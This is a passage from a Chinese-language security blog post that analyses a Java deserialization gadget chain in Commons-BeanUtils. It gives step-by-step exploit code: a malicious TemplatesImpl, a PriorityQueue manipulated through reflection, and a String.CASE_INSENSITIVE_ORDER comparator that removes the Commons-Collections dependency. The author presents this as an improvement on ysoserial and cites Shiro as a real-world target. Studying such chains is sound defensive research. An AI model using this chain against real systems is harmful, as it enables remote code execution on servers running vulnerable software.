第三步 添加元素后再替换回 templates ,避免添加时触发代码执行
Field queue = ReflectUtils.getFields(priorityQueue,"queue"); Object[] queueObj = (Object[]) queue.get(priorityQueue); queueObj[0] = templates; queueObj[1] = templates; // 替换为 TemplatesImpl 中的 property ReflectUtils.setFields(beanComparator,"property","outputProperties");第四步 反序列化触发
String path = ExpUtils.serialize(priorityQueue); ExpUtils.unserialize(path);看下执行结果,成功执行~
思路二:目标机器只引用 common-beanutils这个场景其实就真实发生在一个第三方框架Shiro上,Shiro 框架本身只引入了 common-beanutils ,如果直接使用 YsoSerial 的 CB链生成Payload是无法直接执行的,所以网上大部分的复现或者分析都是人工引入 Common-Collections, 每要求一个包的存在就对利用的难度加大了,有没有只依赖 common-beanutils 就能RCE的链呢?
我们看到Commons-beanutils.BeanComparator 的构造方法,其实只有默认不传入 Comparator 的情况下才会去使用Commons-collections的ComparableComparator,所以我们只需要传入一个原生的Comparator 即可摆脱对Commons-Collections 的依赖,同时,因为这个漏洞是应用于反序列化场景,所以要求这个类还必须继承 Serializable 接口,有没有这个类呢,答案当然是有,P神已经找到了,就是 String.CASE_INSENSITIVE_ORDER:
所以,我们只需要将Comparator改为 String.CASE_INSENSITIVE_ORDER 即可,实操:
第一步 准备恶意 templates
TemplatesImpl templates = ExpUtils.getEvilTemplates();第二步 准备恶意priorityQueue
BeanComparator beanComparator = new BeanComparator(); PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator); priorityQueue.add(1); priorityQueue.add(1);第三步 将 beanComparator 中的 comparator 改为非Commons-Collections 的 String.CASE_INSENSITIVE_ORDER
ReflectUtils.setFields(beanComparator,"comparator",String.CASE_INSENSITIVE_ORDER);第四步 priorityQueue元素改为恶意templates
Field queue = ReflectUtils.getFields(priorityQueue,"queue"); Object[] queueObj = (Object[]) queue.get(priorityQueue); queueObj[0] = templates; queueObj[1] = templates;第五步 beanComparator 属性改为outputProperties
ReflectUtils.setFields(beanComparator,"property","outputProperties");第六步 触发
String path = ExpUtils.serialize(priorityQueue); ExpUtils.unserialize(path);最后,我们在pom文件里面把 commons-collections 改为compie,这样就确保只在编译期间存在这个包,运行实际没有。
看下执行结果,在只有commons-beauntils 依赖下成功运行!
总结这篇文章分析了 Commons-Beanutils 反序列化利用的原理,并在 YsoSerail 基础上进行了增强,实现在只有 Commons-Beanutils 依然能够RCE。
公众号欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!